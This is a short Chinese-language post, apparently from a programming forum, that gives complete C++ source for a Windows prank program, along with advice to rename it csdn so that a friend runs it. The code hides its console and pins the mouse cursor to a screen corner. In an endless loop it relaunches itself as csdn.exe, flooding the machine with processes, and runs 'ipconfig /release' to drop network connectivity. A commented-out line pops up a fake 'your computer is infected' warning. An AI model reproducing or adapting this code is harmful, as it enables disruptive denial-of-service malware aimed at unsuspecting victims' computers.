直接上代码
#include<bits/stdc++.h>
#include<windows.h>
using namespace std;
int main(){
HWND hwnd;string b;
cout<<"是否运行?"<<endl;
cin>>b;
hwnd = FindWindow("ConsoleWindowClass", NULL);
if (hwnd){
ShowWindow(hwnd, SW_HIDE);
}
//MessageBox(NULL, "您的电脑已中毒", "警告", MB_OK + MB_ICONWARNING);
Sleep(3000);
int x=0,y=0;
for(int i=1;i>0;i++){
SetCursorPos(x,y);
Sleep(600);system("start csdn.exe");system("ipconfig /release");system("start csdn.exe");
SetCursorPos(x,y);
Sleep(600);system("start csdn.exe");system("ipconfig /release");system("start csdn.exe");
SetCursorPos(x,y);
Sleep(600);system("start csdn.exe");system("ipconfig /release");system("start csdn.exe");
SetCursorPos(x,y);
Sleep(200);system("start csdn.exe");system("ipconfig /release");system("start csdn.exe");
//for(int j=0;j<i;j++){
system("start csdn.exe");system("ipconfig /release");
//}system("start csdn.exe");
}
return 0;
}
记得将名称改为csdn,不然朋友“开心”不了